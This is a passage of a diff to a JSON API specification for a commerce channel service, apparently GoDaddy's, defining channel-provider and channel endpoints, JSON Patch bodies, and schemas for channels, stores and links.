"ChannelType", + "enum": [ + "RETAIL", + "ONLINE", + "MOBILE", + "MARKETPLACE", + "SOCIAL", + "DEFAULT" + ], + "title": "ChannelType", + "type": "string" + }, + "type": "array" + } + }, + "required": [ + "name" + ], + "title": "ChannelProvider", + "type": "object" + } + } + }, + "scopes": [ + "commerce.channel-provider:create" + ] + }, + { + "operationId": "getChannelProviderById", + "method": "GET", + "path": "/channel-providers/{channelProviderId}", + "summary": "Get channel provider by ID", + "description": "Retrieve the information of the channel provider using the ID.", + "parameters": [ + { + "name": "channelProviderId", + "in": "path", + "required": true, + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Channel provider Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Channel Provider", + "properties": { + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "name": { + "description": "Name of the channel provider", + "maxLength": 128, + "type": "string" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Provider Status", + "enum": [ + "ACTIVE", + "SUSPENDED", + "TERMINATED" + ], + "title": "ChannelProviderStatus", + "type": "string" + }, + "supportedChannelTypes": { + "description": "Channel types supported by provider", + "items": { + "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ChannelType", + "enum": [ + "RETAIL", + "ONLINE", + "MOBILE", + "MARKETPLACE", + "SOCIAL", + "DEFAULT" + ], + "title": "ChannelType", + "type": "string" + }, + "type": "array" + } + }, + "required": [ + "name" + ], + "title": "ChannelProvider", + "type": "object" + } + }, + "404": { + "description": "Channel provider Not Found" + } + }, + "scopes": [ + "commerce.channel-provider:read" + ] + }, + { + "operationId": "patchChannelProvider", + "method": "PATCH", + "path": "/channel-providers/{channelProviderId}", + "summary": "Update channel provider", + "parameters": [ + { + "name": "channelProviderId", + "in": "path", + "required": true, + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "items": { + "$id": "https://godaddy.com/schemas/json-patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "path": { + "description": "A JSON Pointer path.", + "type": "string" + } + }, + "items": { + "oneOf": [ + { + "additionalProperties": false, + "properties": { + "op": { + "description": "The operation to perform.", + "enum": [ + "add", + "replace", + "test" + ], + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "path": { + "description": "A JSON Pointer path.", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "value": { + "description": "The value to add, replace or test." + } + }, + "required": [ + "value", + "op", + "path" + ] + }, + { + "additionalProperties": false, + "properties": { + "op": { + "description": "The operation to perform.", + "enum": [ + "remove" + ], + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "path": { + "description": "A JSON Pointer path.", + "type": "string" + } + }, + "required": [ + "op", + "path" + ] + }, + { + "additionalProperties": false, + "properties": { + "from": { + "description": "A JSON Pointer path.", + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", + "op": { + "description": "The operation to perform.", "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" + "move", + "copy" ], - "default": "ACTIVE" + "type": "string" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "path": { + "description": "A JSON Pointer path.", + "type": "string" } }, "required": [ - "name" + "from", + "op", + "path" ] } ] }, - { - "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Marketplace Channel", - "type": "object", - "description": "Resource representing the Marketplace Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "title": "JsonPatch", + "type": "array" + }, + "type": "array" + } + }, + "responses": { + "404": { + "description": "Channel Provider Not Found" + }, + "200": { + "description": "Channel Provider updated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Channel Provider", + "properties": { + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "name": { + "description": "Name of the channel provider", + "maxLength": 128, + "type": "string" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Provider Status", + "enum": [ + "ACTIVE", + "SUSPENDED", + "TERMINATED" + ], + "title": "ChannelProviderStatus", + "type": "string" + }, + "supportedChannelTypes": { + "description": "Channel types supported by provider", + "items": { + "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } - }, - "required": [ - "name" - ] - } - ] + "description": "ChannelType", + "enum": [ + "RETAIL", + "ONLINE", + "MOBILE", + "MARKETPLACE", + "SOCIAL", + "DEFAULT" + ], + "title": "ChannelType", + "type": "string" + }, + "type": "array" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Social Channel", - "type": "object", - "description": "Resource representing the Social Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "required": [ + "name" + ], + "title": "ChannelProvider", + "type": "object" + } + } + }, + "scopes": [ + "commerce.channel-provider:update" + ] + }, + { + "operationId": "getChannels", + "method": "GET", + "path": "/channels", + "summary": "Get all channels", + "description": "Retrieve all the channels for a specific provider using parameters", + "parameters": [ + { + "name": "externalChannelId", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "registeredStores.storeId", + "in": "query", + "required": false, + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + { + "name": "registeredStores.default", + "in": "query", + "required": false, + "schema": { + "nullable": true, + "type": "boolean" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "maximum": 100, + "type": "integer" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "maximum": 100, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Channels", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel-list.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a list of Channels", + "properties": { + "items": { + "description": "Array containing the current page of Channels", + "items": { + "$id": "https://godaddy.com/schemas/commerce/channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "description": "Resource representing the Channel", + "discriminator": { + "mapping": { + "DEFAULT": "./BasicChannel.yaml", + "MARKETPLACE": "./MarketplaceChannel.yaml", + "MOBILE": "./MobileChannel.yaml", + "ONLINE": "./OnlineChannel.yaml", + "RETAIL": "./RetailChannel.yaml", + "SOCIAL": "./SocialChannel.yaml" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing a Retail Channel", + "properties": { + "location": { + "$defs": { + "RetailLocationContact": { + "properties": { + "phone": { + "$id": "https://godaddy.com/schema/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code 